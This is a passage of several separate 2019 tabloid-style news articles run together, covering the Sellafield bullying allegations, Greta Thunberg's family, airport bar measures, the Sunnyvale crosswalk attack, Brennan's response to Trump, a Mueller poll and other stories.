cigarette. I came here to do humanitarian work, I came here with that intention and thats what I did. I didnt have any political or military involvement. I did not take part in any of these atrocities or incited any hatred or made any videos. I have never killed or hurt anybody. Miah claimed that in September last year he and his pregnant wife decided to leave in the middle of the night, taking their nine-month-old daughter, Mariam, with them. He was detained near the town of Hajin in Deir Ezzor province, eastern Syria, by opposition Syrian Democratic Forces. Britain's largest nuclear plant has been rocked by claims of bullying and sexual harassment. Whistleblowers say Sellafield has a toxic culture, with women routinely harassed and propositioned by senior male employees while homophobia and racist comments are ignored. Even the chief executive has admitted he is ashamed and embarrassed of what is going on. In a video message to staff, leaked to the Daily Mail, Paul Foster disclosed that a survey had found one in 20 of the 10,000 workforce were being bullied or harassed. One in four felt it was tolerated by bosses. Aerial photograph of the nuclear fuel processing site of Sellafield in Seascale, England Last night, MPs and unions condemned the findings and called for an urgent meeting with bosses. Some employees said they feared safety at the site, which houses the largest inventory of untreated nuclear waste in the world, could be compromised. Paul foster, CEO of Sellafield, said he was 'ashamed and embarrassed' by what had been going on The nuclear processing plant in Cumbria is owned by the Nuclear Decommissioning Authority, a non-departmental government body responsible for winding down and cleaning the site by 2120. It is run by not-for-profit Sellafield Ltd, which has a 2billion-a-year budget. Employees, speaking on condition of anonymity, told the Mail how women were harassed and subject to vulgar jokes and comments. They said racism and homophobia were commonplace but ignored, while one building on the sprawling site is known as Totty Towers. Mr Foster, who has been in charge for nearly five years, released the video on Sellafields intranet after the internal survey revealed high levels of bullying. It was passed to the Daily Mail by employees. In the video, Mr Foster who earns a six-figure salary said the survey garnered some very startling feedback. Frankly we are a bit ashamed and embarrassed of what is happening in our organisation, he said. Sellafield nuclear plant is seen on February 24, 2005, in Sellafield, England. The 3.8 square km site on the Cumbrian coast produces nuclear fuel for electricity as well as stores nuclear waste from several countries around the world The survey found that a quarter of employees believed bullying, harassment and offensive comments were tolerated. Only 17 per cent thought staff were promoted on the basis of ability. Stormy past of nuclear plant Built on the site of a former Second World War munitions factory, it was originally named Windscale It was chosen to produce plutonium for Britains weapons programme in 1947 Its Calder Hall reactors were the first in the world to use nuclear fission to generate electricity on a large scale In October 1957, a fire in one tower spread radioactive contamination across the UK and Europe. It remains the UKs worst nuclear incident and made Sellafield a target for environmental protest Since the 1960s the site has been reprocessing nuclear fuel from around the globe Electricity production ended in 2003. Work is now centred on reprocessing waste and decommissioning reactors and plants Advertisement Mr Foster told staff: I dont want to be a part of any business that behaves in the way we are at the moment and in the 18 years I have worked here, I dont think you do too. As such we wont tolerate bullying and harassment. Initiatives he has since introduced include speeding up investigations, setting up an independent complaints line for staff and hiring independent HR advisers. But whistleblowers said changes were too slow, with anyone accused of bullying or harassment simply being moved to another sector. One employee said: Paul Foster has been the chief executive for nearly five years why did he not know about this before and what has he done? I am genuinely worried that something big is going to happen here and if it does it will contaminate a large part of Europe. John Woodcock, independent MP for Barrow-in-Furness, said the results of the survey were deeply alarming and called on the Government to intervene. Very serious questions need to be asked... not just by Sellafield, but by the Government because billions of pounds of taxpayers money is being invested in decommissioning Sellafield, he said. Peter McIntosh, national officer for energy at Unite, said he would call an urgent meeting of union reps on the site. If this report is accurate, then what has been occurring is entirely unacceptable, he said. Sellafield must adopt a zero tolerance policy with regards to bullying and harassment and those guilty of such practices must be properly dealt with. Tory MP Trudy Harrison, whose Copeland constituency includes Sellafield and who previously worked there as a receptionist, said: People should not have to accept harassment and abuse in the workplace and Im sad to say it was condoned during my time at Sellafield. You just have to look at the top board to see that there are not enough women and weve got to ask why. The scandal comes after Sellafield was ordered to pay almost 500,000 for health and safety failures that saw a worker exposed to eight times the annual limit of plutonium when a corroded probe punctured his hand through a protective glove in February 2017. Last year, the Government was warned by MPs that it must get a grip on spiralling costs and project delays at the site. In a statement, Mr Foster said safety and security were Sellafields overriding priorities. He added: Like most large employers, we have experienced allegations of bullying, harassment and discrimination in our workforce. We do not tolerate this behaviour. We take equality, diversity, and inclusion extremely seriously. Thats why we commissioned a survey in 2017. What we found was disappointing and weve been very open about that. However, these results did not show a negative impact on site safety. Weve since drawn up an action plan which were delivering. Workers call site Totty Towers... its just vile I believe there is a toxic culture at the heart of Sellafield. One of the sites is known as Totty Towers because that is where most of the women work. The way they are viewed is like something out of the Dark Ages. Women are subject to innuendo, overtly sexual comments and inappropriate touching. I went to one site where for the first time in my life I actually felt intimidated. One woman bent down to plug in her laptop under the table and her manager held her head down and said, While you are down there, love, can you just whip round and do us all a favour. An Eastern European employee was told to go back to where he was from, following Brexit. I also heard young graduates talk of shocking stories of sexism, bullying, racism, homophobia. It was vile. The site is huge, like a small town. But the first thing that hits you when you start to work here is the incredible lack of diversity. There are hardly any people from ethnic minority backgrounds. Swearing is rampant. I have also heard some horrific comments made about people who are gay. But they dont address the bullies they just move them around. I am deeply concerned because this is not a toy factory, it is the most dangerous nuclear facility in the country. If you have employees who are unhappy, they are clearly not going to be working at their best. It is such a closeted, insular organisation. Everyone knows everyone. They dont address poor performance because they will be addressing a best mates cousin or their dads friends. The bottom line about Sellafield is that its workers are paid very well in comparison to other industries in the area, but they are treated very badly. So they put up with it. But there is a very unhappy workforce and I believe it is a public safety issue. I am genuinely worried that something big is going to happen here and if it does it will contaminate a large part of Europe. It is an open secret how bad things are. But nothing ever changes. As she belted out her single La Voix (The Voice) to a global audience of more than 122 million people her tight white dress showing every curve of her tanned, toned body, and her long blonde hair glossing down her back Malena Ernman looked every inch a 2009 Eurovision Song Contest hopeful. She was 38 years old, a classically-trained opera star famous in her home country of Sweden and keen to make the crossover into pop music. Indeed, another blonde Swede with three fellow country bandmates had won Eurovision in 1974. Of course, they were Abba and each of the group is now estimated to be worth 200 million. Both Malena (above) and Gretas father Svante a former actor whose distant relative was a Nobel Prize-winning scientist who, in 1896, first calculated the greenhouse effect caused by carbon dioxide emissions put their careers on hold to look after Greta and her younger sister Beata, 13, who has similar medical challenges Malena is the mother of Greta Thunberg (pictured), the 16-year-old Swedish schoolgirl with pigtails, Asperger syndrome, obsessive compulsive disorder and selective mutism whom, in just eight months, has become the global superstar of the climate change movement But, alas, it was not to be. In the event, Malena came 21st out of 25 meaning she remained a strictly Swedish, rather than international, celebrity. Until recently that is. Because Malena is the mother of Greta Thunberg, the 16-year-old Swedish schoolgirl with pigtails, Asperger syndrome, obsessive compulsive disorder and selective mutism whom, in just eight months, has become the global superstar of the climate change movement. The official story of Gretas rise to prominence has been well documented. Furious at the worlds indifference to climate change, she started to skip school every Friday and plonked herself on the cobblestones outside the Swedish parliament with a hand-drawn wooden sign declaring skolstrejk for klimatet (school strike for climate). After passers-by started to share photos of her online, her message spread rapidly and soon inspired hundreds of thousands of children to go on school climate strikes around the world. Things moved quickly from there. In her calm, soft, perfect English, she put the fear of God into attendees at the United Nations Climate Change Conference in Poland last December, accusing them of leaving the burden of climate change with future generations. I dont want your hope. I want you to panic. I want you to feel the fear I feel every day, she said. She has addressed the European Parliament, the World Economic Forum at Davos and met the Pope. Meanwhile, corporate executives, politicians, presidents and prime ministers (if not Theresa May, who was busy in a Cabinet meeting when Greta visited) clamour for a selfie with the young activist. In a speech in Parliament last Tuesday, she accused Britain of exploiting fossil fuels. Indeed, Malena has recently revealed that the family has received thousands of threats. Many critics accuse Malena and Svante, whose apartment has sweeping views of the centre of Stockholm, of living vicariously through their daughter But could there be a few details missing from this tale details that are hinted at in these very contrasting pictures? Of course, some have suggested that Gretas trajectory has less to do with her appealingly simple message, and more to do with her very ambitious parents. Both Malena and Gretas father Svante a former actor whose distant relative was a Nobel Prize-winning scientist who, in 1896, first calculated the greenhouse effect caused by carbon dioxide emissions put their careers on hold to look after Greta and her younger sister Beata, 13, who has similar medical challenges. That has prompted some on social media to post spiteful comments with bloggers claiming Gretas parents were making use of her illness for their own financial and political ends. Indeed, Malena has recently revealed that the family has received thousands of threats. Many critics accuse Malena and Svante, whose apartment has sweeping views of the centre of Stockholm, of living vicariously through their daughter. Some say Malena has orchestrated her daughters campaign with the help of her friend, PR guru and climate change activist Ingmar Rentzhog (whom she met at a Climate Council Day conference in Stockholm) to put herself back in the public eye. They claim Rentzhogs environmentally-aware PR firm We Dont Have Time sent a freelance photographer to the first day of Gretas solo strike outside the Swedish parliament last August. A photo was then posted of her clutching her hand-drawn wooden sign on the firms Instagram and Facebook pages. Shortly after, Greta was invited on to Rentzhogs youth advisory board and the firms value soared by 1 million. Of course, some have suggested that Gretas trajectory has less to do with her appealingly simple message, and more to do with her very ambitious parents It was also pointed out that just three days after Gretas initial strike, there was an interview with her parents in Swedens top broadsheet newspaper, Dagens Nyheter. Coincidentally, the following day Malenas memoir, Scenes From The Heart, about their family, climate change and sustainability was published. Incidentally, the cover has since been changed from a portrait of Malena to one of Greta. Some have been brazen in their scepticism. The leader of the far-Right Sweden Democrats party, Jimmie Akesson, has dismissed Gretas crusade as a staged promotional campaign for the book. This isnt a spontaneous initiative, this is staged PR campaign which the media has fallen for. Thats how it is, he said, adding: Its commonly known that theres a PR bureau behind this. It goes without saying that Malena, Svante and Greta firmly deny all the allegations. Indeed her parents say they initially tried to dissuade Greta from her public campaign. Writing on Facebook, Malena said: We, as parents, advised her against it [the strike] and said we couldnt support her because we have to make sure she goes to school. She does not have and has never had anyone standing behind her telling her what to do . . . she did all the planning herself. She has certainly had no help or support from any PR agency. So why such scepticism from her critics? Perhaps because it is so hard to comprehend how a desperately shy, friendless teenager who was routinely bullied at school, could be challenging the worlds natural order. Whatever the case, Greta is clearly very different to the rest of us. She is phenomenally bright, displays a total mastery of climate science in interviews, and always maintains that she is her own young woman. It all started, she says, when aged nine, she learned about climate change at school in Sweden a nation that prides itself on its progressive approach to climate control. Naturally, she embraced the need to turn off unwanted lights, save water and use up surplus food. But she couldnt understand why, if there really was a problem, so little action had been taken by politicians. At first when I heard about climate change, I was a climate denier, she has said. I didnt think it was happening. Because if there really was an existential crisis like that, that would threaten our civilisation, we wouldnt be focusing on anything else. That would be our first priority. So I didnt understand how that added up. So she got to work on solving the problem herself researching climate change with extraordinary focus until she found she couldnt stop. She buried herself in details of climate agreements and emissions targets and gave up her hobbies theatre, singing, dancing, music and horse-riding to make more time for research. She became a vegan, refused to fly anywhere, stopped buying anything non-essential then sank into chronic depression. I was so sad because the world was so wrong, everything was so wrong, and then thought there is no point in living...I became depressed, she said. She stopped talking, other than to her parents, sister Beata and one teacher. Then she stopped going to school and cut herself off from the few friends she had. Next, she gave up food. For a two-month period while aged 11, she stopped eating all together. Her heart-rate and blood pressure showed signs of starvation, she lost 22lb and her growth was stunted. This explains her tiny stature. Her parents, who married in 2004 shortly after Greta was born, must have been deeply worried. Meanwhile Beata, now 13, also has Aspergers, ADHD and OCD. Lord knows how Malena and Svante coped. While battling for their daughters to receive the best available care, Malena continued performing as an opera star while Svante managed her career. The family maintain that it was only when Greta started persuading her parents to join her cause that things started looking up. Greta says her Aspergers makes her see things in unyielding black and white and push on in unrelenting pursuit of a solution. Greta routinely spends 15 to 20-hour days writing speeches and researching environmental developments, all around her school work Some people claim my parents have brainwashed me, but it was the opposite. I brainwashed them, she has said. Soon theyd bought an electric car, become vegans (though Malena apparently still sneaks a chunk of cheese), started to grow their own vegetables and stopped buying non-essentials. In 2016 they decided to stop travelling on planes which effectively ended Malenas international career. Whether their green actions were the reasons or not, Greta began to recover. Her father described the change as like day and night . . . an incredible transformation, and has raved about how happy and energetic she is now by comparison. Its certainly an amazing story. Greta has openly refuted allegations that her fame was the creation of a carefully planned public relations campaign. And she denies ever receiving money for delivering speeches, though shes admitted receiving expert input. I have a few scientists that I frequently ask for help on how to express certain complicated matters. I want everything to be absolutely correct so I dont spread incorrect facts, or things that can be misunderstood, she said. Meanwhile, Greta and her family insist she was simply in the right place at a bleak time for the planet. Global emissions of carbon dioxide hit a new high last year, despite decades of climate negotiations. The last five years are the hottest since modern records began. A string of natural disasters have made matters worse and a report from scientists convened by the UN claimed that the world is less than 11 years away from irreversible climate change impacts. It helps that Gretas message is gloriously simple. She says her Aspergers makes her see things in unyielding black and white and push on in unrelenting pursuit of a solution. Greta routinely spends 15 to 20-hour days writing speeches and researching environmental developments, all around her school work. It goes without saying that shes top of her class and is considering taking a years sabbatical from school to focus on her campaigning.) To be at the centre of such a vicious media swirl must be extraordinarily tough for an innately shy 16-year-old. Using philosophic language beyond her years, she says: All my life Ive been invisible, the invisible girl in the back who doesnt say anything, she said. [Now] from one day to another, people listen to me. Thats a weird contrast. Its hard. Shes getting better at it, but will always be happier discussing climate change, emissions targets, her Aspergers anything but small talk, which she will never master and says her life is quite exhausting. Whatever is or is not going on behind the scenes, such is Greta Thunbergs black and white approach to everything that her brain doesnt allow for inconsistency. And therein lies a problem. For, increasingly, the fraught climate change debate isnt black and white. Governments have not been doing nothing to reduce carbon dioxide emissions, as she insists. More than 30 years ago, they set up the Intergovernmental Panel on Climate Change (IPCC) specifically to advise them on climate change and have sought its advice ever since, most recently on what must be done to limit global temperature rises to 1.5 degrees Celsius. And no one, not even Greta Thunberg (or her mother) can answer the billion-dollar question: how in our high-tech world we can reduce global emissions by 50 per cent by 2025. Or, far more pressingly, who will pay for it. It is of course wonderful that this Swedish schoolgirl is proving an inspiration to the world, but what a shame its tinged with cynicism from some quarters. Lets hope that, as she runs herself ragged in a bid to protect us all from climatic catastrophe, her parents and all who surround her have Gretas very best interests at heart. Airports were last night accused of fuelling binge drinking by serving double measures of spirits in their bars and pubs as standard. Furious airline bosses said many airports now resemble happy hour at a nightclub even at 7 in the morning. An audit by the Mail has revealed air-side bars and restaurants at airports including Liverpool, Newcastle, Bristol and Manchester serve 50ml doubles when a customer orders a spirit such as whisky or vodka. Many bars, including those at London Heathrow, Gatwick and Luton, only display prices for large glasses of wine between 175ml and 250ml equivalent to a third of a bottle. Licensing laws do not apply to bars and restaurants in the departure lounges of airports, which means passengers can buy alcohol from as early as 4am and throughout the night. Emma Yates and her excited friends shared the photograph with the words: Benidorm are u ready for us crazy girls? By the time their Ryanair flight had touched down at Alicante several hours and drinks later, fellow passengers and the crew had enough of their antic (see story below) However, catering firm SSP, which operates bars including the Cabin at Manchester, Liverpool and Newcastle airports, said it automatically offers double measures of spirits and larger servings of wine because it is what customers want. They also said their bar staff are trained to offer smaller measures when the customer orders their drinks. Hen party friends who caused havoc on their flight Posing unsteadily at a bar at Liverpool Airport ahead of a Spanish hen party, Emma Yates and her excited friends shared the photograph with the words: Benidorm are u ready for us crazy girls? By the time their Ryanair flight had touched down at Alicante several hours and drinks later, fellow passengers and the crew had enough of their antics. To boos and applause from fed-up holidaymakers, the group were escorted off the jet by police after allegedly spending the evening flight screaming, swearing and downing more drinks. In response to criticism of their behaviour, Miss Yates wrote on Facebook: Yes we was drunk... yes we was embarrassed but eh a group of girls on holiday having fun... At the time of the incident in July 2017, Ryanair said it had passed the matter on to the Spanish authorities, but Miss Yates was soon uploading selfies while sunning herself by the pool in Benidorm. Advertisement Airlines UK, which represents carriers such as British Airways and Virgin, said airport bars were fuelling a rise in bad behaviour in the air. Figures from the Civil Aviation Authority show that 422 serious incidents were reported in 2017, the joint highest number on record. The figure has doubled since 2014. A spokesman for Airlines UK told the Mail that the routine sales of doubles in mixers and cocktails was worrying and irresponsible. He said most customers would not know they were receiving a double measure, adding: Its the kind of thing you might expect in a nightclub during happy hour. He said it would promote accidental excessive consumption. The spokesman urged airports to urgently rethink selling larger measures as standard, adding that they tell us theyre taking the issue of drunk passengers seriously but this rings hollow when practices like this are uncovered. But airports hit back, saying airlines heavily market alcohol offers on board and only want to curb drinking at airports to boost their own sales. A senior airport source said: Not only do airlines serve similar measures as airports do, they also heavily market multi-buy offers on wine, beers and spirits. Given all this, it looks like their concerns over drinking in the airport are driven by commercial interests rather than a genuine concern about excessive alcohol consumption or disruptive behaviour. The row has come to a head amid growing concerns over the abusive and sometimes violent behaviour of drunken passengers, which has caused flights to be diverted. Drunken air passengers can be jailed for up to five years for endangering the safety of aircraft and it can result in an 80,000 fine if the plane has to divert. Ministers are considering plans to ban retailers from selling alcohol before 10am, bringing an end to the tradition of the early morning pint popular with stag and hen parties. A Home Office spokesman said disruptive or drunk behaviour is unacceptable. An announcement is expected within the next fortnight. A spokesman for the Airport Operators Association, which represents UK airports, said airlines offer the 50ml measures as standard without the option of smaller servings Labour MP Wes Streeting backed calls for tougher rules and an end to nightclub-style promotions. He said: Lots of us enjoy a pint or glass of wine at the airport at the start of a holiday. No one wants to be a killjoy, but there is a difference between having a drink and getting smashed. A spokesman for the Airport Operators Association, which represents UK airports, said airlines offer the 50ml measures as standard without the option of smaller servings. He added that airports have banned shots in bars and restricted the sale of miniatures in duty free to control incidents. A spokesman for Bristol Airport said anti-social behaviour is not accepted by them or airlines. Newcastle International Airport said: Instances of alcohol-related disruptive behaviour at the airport are rare and going down year-on-year. Toli the service dog celebrated his fourth birthday on April 17 with Michael Cantu of Akron, Ohio, his disabled companion An Ohio service dog celebrated his fourth birthday earlier this month by choosing his new toy from a pet store and snacking on some puppy-safe ice cream with his best friend. Michael Cantu of Akron posted a video on Instagram on April 17, showing Toli's trip down the toy aisle earlier that day. The clip received 1,266 likes in just over a week. The video shows Cantu, who is handicapped and uses an electric wheelchair, riding next to Toli as the dog strolls down the aisle of toys sniffing and looking at each item he passes. The canine peeks into several baskets full of toys, but continues on for several seconds. Cantu wasn't sure what to get Toli for his birthday, so he let his dog walk down a pet store toy aisle and choose a gift for himself Toli didn't pick up the first toy he saw, sniffing items in multiple baskets before settling on one special toy Suddenly, he stops in front of a basket and uses his mouth to gently pick up a stuffed rabbit, wagging his tail as he proceeds down the aisle. 'He knew what he wanted!' IG user Rikki44 posted in the comments section. In a separate clip, Toli can be seen licking a cup of ice cream set on the ground for him. 'Toli turns 4 today so he got to pick out a new toy as well as a puppy ice cream,' Cantu wrote in the video's caption along with the hastags '#GoodBoy,' '#BirthdayBoy,' and '#HardChoice.' Toli also got to eat some presumably puppy-safe ice cream on his special day The 4-year-old canine chose a stuffed rabbit, which Cantu said has since been named 'Chungus' Cantu told The Dodo that Toli, 'helps me open doors and drawers, turn on/off lights, picks up things I drop,' adding that his canine companion has, 'been with me every step of the way since I got him' Cantu told The Dodo that Toli has 'been with me every step of the way since I got him.' 'He helps me open doors and drawers, turn on/off lights, picks up things I drop, etc.,' Cantu said. 'This has kinda become a tradition on his birthday. He loves taking naps and cuddling with his toys.' Since his wise purchase, Toli and his new toy have been inseparable, according to Cantu. 'That rabbit, who is now named Chungus, [Toli] takes with him everywhere,' he said. Isaiah Joel Peoples, a former Army sharpshooter with a history of post-traumatic stress disorder allegedly plowed his car at high speed into a group of pedestrians in a Silicon Valley suburb, injuring eight people An Iraq War veteran who plowed into a crosswalk intentionally targeted the victims based on their race and his belief they might be Muslim, Californian authorities say. Isaiah Joel Peoples, 34, faces eight counts of attempted murder for injuring eight people, including four who remain hospitalized. The most seriously injured is a 13-year-old Sunnyvale girl of South Asian descent who is in a coma with severe brain trauma, with part of her skull removed to relieve pressure. Her father and brother were also hit Tuesday when police say Peoples drove intentionally into a crosswalk while on his way to Bible study. Peoples is a former Army sharpshooter who was deployed to Iraq in 2005 and 2006. He 'showed no remorse' after his car plowed at high speed into a group of people in a crosswalk on Tuesday evening in the Silicon Valley suburb of Sunnyvale before hitting a tree, Police Chief Phan Ngo said. Former U.S. Army sharpshooter Isaiah Joel Peoples is scheduled to be arraigned Friday in Santa Clara Superior Court. He is charged with eight counts of attempted murder after authorities say he deliberately plowed his car into pedestrians Tuesday Four people remain hospitalized, including 51-year-old Ping Lu, who has multiple broken limbs. Also hospitalized is 32-year-old Marina Reimler, with a broken leg and arm. A witness said he watched in horror as the black 2012 Toyota Corolla sped through a crosswalk between El Camino Real and Sunnyvale Saratoga Road at 6.40pm on Tuesday and bodies went flying. 'I saw this woman fly through the air right in front of me. She flipped upside down and then fell right in front of my car,' Don Draper said. Four people remain hospitalized, including 51-year-old Ping Lu, who has multiple broken limbs. Also hospitalized is 32-year-old Marina Reimler, with a broken leg and arm He marched over to Peoples' car, which had swerved onto a sidewalk and crashed into a tree. He said Peoples did not appear drunk but looked dazed and was mumbling over and over, 'Thank you, Jesus. Thank you, Jesus.' The police chief said Peoples had picked up food and was on his way to deliver it to his Bible study group. 'When we took him into custody, he did not behave in any manner that would be considered bizarre,' Ngo said. 'He has not shown any remorse.' Eight people were injured, including a nine-year-old boy and a 13-year-old girl. Pictured: police come to the aid of one of the victims of the crash Peoples is an Afghanistan war veteran and military contractor who suffers from PTSD In an interview with ABC News, his mother, Leevell Peoples, recounted how in 2015, Isaiah was walking barefoot in Sacramento, thinking he was still in Iraq, when he picked up a rock and through it through a window. During his stay in a hospital, she said Isaiah asked an officer guarding him how many people were killed today and said that he heard gunshots. After the episode, Leevell said her son went back on his medication. 'Two weeks ago we were on the phone and I said, "Are you still taking your medication?" And he said, "Yes." And I said, "Yeah, that's good." I said, "You have to take that the rest of your life now." He said, "I know,"' she said. Peoples' mother Leevell Peoples defended her son as a 'model citizen' on Wednesday, saying the only situation in which he'd launch an attack is due to a bout with PTSD In the days preceding the crash, the mother said her veteran son was having trouble at work. She also said that talk of his job performance would trigger his PTSD. She said she last spoke to Isaiah just hours before he drove into the crowd and recalled that he did not sound upset. Leevell argued that her son requires psychiatric treatment and does not belong in jail. 'I know with 100 percent certainty that my son did not do that on purpose. No way ever,' she said. The black 2012 Toyota Corolla rammed into a group of people waiting to cross at the busy intersection between El Camino Real and Sunnyvale Saratoga Road Her son graduated from Sacramento State University after returning from Iraq in 2007 and was working as an auditor for the Defense Department in nearby Mountain View, she said. He's been employed there since August 20, 2017, according to a local newspaper. 'He basically probably has no friends but the people he works with,' she said. 'He's an Army vet. He's a good kid, never been arrested. I promise you: It was not deliberate. If anything, it was that Army.' She said the Army forced her son to retire because of PTSD. Pentagon spokeswoman Lt. Col Carla Gleason confirmed that he retired from the Army. The intersection where the crash took place is pictured Tuesday night was littered with debris His brother, Joshua Peoples, painted a similar portrait of his sibling as a 'really good kid' struggling with PTSD. 'Hes always just trying to do good for himself,' said Joshua, who speculated that his service overseas 'messed up his mental health.' Peoples served as a civil affairs specialist in the Army Reserve from March 2004 to July 2009 and attained the rank of sergeant, and he was deployed to Iraq from June 2005 to May 2006, according to another Pentagon spokesman, Lt. Col. Emanuel Ortiz. Peoples was honorably discharged from the Army, and police were investigating the PTSD report, Ngo said. He also served in Iraq as an Army sharpshooter but was discharged because of his PTSD Peoples had no criminal record and owned one weapon, a disassembled and inoperable shotgun that was in the trunk of his vehicle, according to the police chief. Peoples' former housemate Chuck Herrera described him as quiet - someone who had to be coaxed into going out for drinks or dinner. He said Peoples was kind to Herrera's toddler son. He recalls Peoples 'always had a lot of pills' and a cough. 'The guy I met was not someone who you think will hurt someone,' he said. 'My guess is something happened.' Former CIA Director John Brennan has accused President Donald Trump of 'sociopathic ramblings' after the president accused him of participating in an attempted 'coup'. Brennan, now an MSBNC contributor, was speaking on the network on Friday in response to Trump's remarks in a Thursday night interview with Fox News host Sean Hannity. 'I don't think it's surprising at all that we hear these sociopathic ramblings from Mr. Trump claiming there was this effort to try to prevent him from being elected or to try to unseat him,' Brennan said. He was responding to Trump's remarks on the revelation that FBI lovers Lisa Page and Peter Strzok discussed using briefings with Trump's transition team after the 2016 election to 'develop for potential relationships' and 'assess' changes in 'demeanor'. Former CIA Director John Brennan (above) accused President Donald Trump of 'sociopathic ramblings' after the president accused him of participating in an attempted 'coup' 'This was a coup. This was an attempted overthrow of the United States government,' Trump said. 'I think it's far bigger than Watergate. I think it's possibly the biggest scandal in political history in this country,' Trump said, going on to suggest the involvement of Brennan, former Director of National Intelligence James Clapper, former FBI Director James Comey, and former FBI Deputy Director Andrew McCabe. 'These are sick people. These are sick, sick people... It's inconceivable when it goes to Clapper, Brennan, Comey, these people -- I would imagine that some other people may be a little bit higher up also knew about it and maybe a lot higher up,' Trump said. Brennan also responded to the allegation from Senator Rand Paul that he had pushed to include British ex-spy Christoper Steele's 'dirty dossier' in a briefing to Trump during the transition. 'I think it's far bigger than Watergate. I think it's possibly the biggest scandal in political history in this country,' Trump said of the actions taken by intelligence officials during the transition In January 2017, weeks before the inauguration, Brennan, Clapper and Comey briefed Trump on the dossier, which had been floating around DC media and intelligence circles for some time. CNN, where Clapper is now a contributor, quickly published a report on the briefing citing an anonymous source. The contents of the dossier were made public by Buzzfeed hours later, using the official briefing as justification for publishing the unverified and salacious claims. In the MSNBC interview on Friday, Brennan denied that he had pressed for the dossier be included in the briefing to Trump, and blamed the FBI. 'It was CIA that was pushing not to have it included, not to have it taken into account at all in that intelligence community assessment, Brennan said. 'This was something that Jim Comey and the FBI thought it was appropriate that Mr. Trump, who was going to become the President of the United States, would be aware of this report that is circulating and how it could be exploited by the Russians or others to try to undermine this government,' Brennan continued. Brennan went on to insist that the fault for any Russian election interference lies with the Trump administration, and not with the Obama administration that was in power during the 2016 election. 'The last administration put out an intelligence community assessment and tried to be as comprehensive and transparent as possible about what the Russians were doing,' Brennan said. 'Unfortunately, this administration and Donald Trump refuses to continue to acknowledge what the Russians did and to take steps to prevent them from doing it in the future,' he said. Brennan said that he would be willing to testify before Congress about his actions during the presidential transition, as some elected officials have called for him to do. Justin Wesley Leverett, 37, of Mobile, Alabama, is charged with first-degree assault accused of punching another man's eyeball out of its socket and then punching the exposed eyeball, causing it to explode Police in Mobile arrested a man on Friday who allegedly committed a brutal assault that caused a man's eye to explode. Justin Wesley Leverett, 37, was wanted in connection with an assault that occurred in the area of Live Oak Street and Dr. Martin Luther King Jr. Avenue last weekend at around 2:20pm. Police say that Leverett punched the victim in the face so hard that it caused his eye to pop out of its socket. Police said 'the suspect then punched the eyeball, causing it to explode.' Leverett turned himself in to police and has been charged with first-degree assault. The confrontation happened in a place called 'the bottoms,' which has a high crime rate. 'Things that you thought would only happen in Super hero action movies are happening everyday,' Pastor Marvin Lue, Jr, said to Fox 10. His church is directly across from where police said the assault happened. 'Things that you thought would only happen in super hero action movies are happening everyday,' Pastor Marvin Lue, Jr, said. His church is right by where the assault occurred 'Just so horrifying, so horrific, so graphic. It used to be, you get in a fight, you get a black eye, you get hit in the stomach you go home. Now people are losing limbs, people are losing vital organs,' Lue said. 'We hope and pray that the violence ceases, people began to value life again. We focus so much on the murders but just acts of violence themselves are continuing to tear our community up in a way that's almost irreparable,' he explained. Lue said crime is a major problem in that particular part of Mobile. He said cleaning up 'the Bottoms' was part of his church's mission. It wasn't clear from the police Facebook posting on the incident as to how the confrontation started. Advertisement Russian women soldiers marched in rehearsals for the country's Victory Day parade to mark 74 years since Nazi Germany's defeat in the 'Great Patriotic War'. The marching women, some of whom smiled proudly, wore skirts as part of their smart military attire as they joined other soldiers in the rehearsals in Dvortsovaya Square, in the country's capital Saint Petersburg. Other soldiers dressed in red berets and white gloves and held their rifles aloft in the rehearsals, which came ahead of Victory Day on May 9, the anniversary of Nazi Germany's surrender in 1945 in the Second World War. The public holiday used to be a sombre remembrance for the tens of millions of Soviet soldiers and civilians who died in the war. But the annual parade has been turned into a cause for patriotic celebration under President Vladimir Putin in recent years. Earlier this month, NATO had warned against Russian 'aggression' at a meeting to mark its 70th anniversary, but that did not stop this latest show of strength. Russian women soldiers marched in rehearsals for the country's Victory Day parade to mark 74 years since Nazi Germany's defeat in the 'Great Patriotic War' The marching women, some of whom smiled proudly, wore skirts as part of their smart military attire as they joined other soldiers in the rehearsals in Dvortsovaya Square, in the country's capital Saint Petersburg Other soldiers dressed in red berets and white gloves and held their rifles aloft in the rehearsals, which came ahead of Victory Day on May 9, the anniversary of Nazi Germany's surrender in 1945 in the Second World War The public holiday used to be a sombre remembrance for the tens of millions of Soviet soldiers and civilians who died in the war but in recent years it has turned into a patriotic celebration and show of military strength under President Vladimir Putin. Above: Tanks rolled through Dvortsovaya Square as the soldiers marched around them Earlier this month, NATO had warned against Russian 'aggression' at a meeting to mark its 70th anniversary, but that did not stop this latest show of strength. Above: These soldiers wore tall black boots and buttoned-up green uniforms as they held their rifles in the air This military academy cadet appeared to be shaking something out of his boot as he was seen holding his foot off the ground A new poll shows a majority of Americans consider the Mueller probe to be even-handed and just shy of a majority believe the president obstructed justice. The Washington Post / ABC News poll shows just 31 per cent believe the report exonerated the president after Trump said repeateldy it 'completely exonerated' him. A clear majority of 58 per cent think Trump lied during the Mueller inquiry, with just 31 per cent thinking he told the truth. However, the president has a clear advantage on whether the Congress should impeach him. Just 31 per cent of Americans think the Mueller probe exonerated Trump, as he claims it did. Trump met with Japanese Prime Minister Shinzo Abe, left, in the Oval Office Friday Fifty-six per cent were against it, with 37 per cent in favor of impeachment at a time when Trump has been railing against the Mueller probe as a 'coup' and directing his administration to resist congressional subpoenas amid ongoing investigations. Democratic leaders also have been cautioning against impeachment at this stage, although some senior Democrats, such as Massachusetts Sen. Elizabeth Warren, have called for opening an impeachment inquiry in the House. The president's overall approval rating remains stable, a feature of his entire presidency. It stands at 39 per cent following the release of the poll, historically low, but much different from its usual range. The 448-page Mueller report details 10 categories of potential obstruction of justice, and relays multiple contacts between Trump aides and Russians during the campaign but does not find he or subordinates conspired with Russians to hack Democratic emails. Ann Mueller and Special Counsel Robert Mueller walk on March 24, 2019 in Washington, DC. The president has blasted the investigation as a 'coup,' but 58 per cent of Americans think he lied Trump's overall approval stands at 39 per cent in the poll Trump says he never ordered McGahn to fire special counsel Robert Mueller Trump said he would have fired Robert Mueller on his own if he wanted the special counsel removed The poll comes after Attorney General Bill Barr provided a defense of President Trump and ruled not to prosecute him for obstruction There is a pronounced party split on impeachment. Democrats favorite with 62 per cent support, but it gets just 10 per cent support among Republicans and 36 per cent support among independents. Forty-one per cent believe the president did not obstruct justice, compared to 47 per cent who think he did. Trump blasted the probe once again Friday as he has done for more than a year, helping drive up Mueller's negatives but failing to undermine support for it. 'With all of this transparency, we finish, no collusion, no obstruction. And then I get out and the 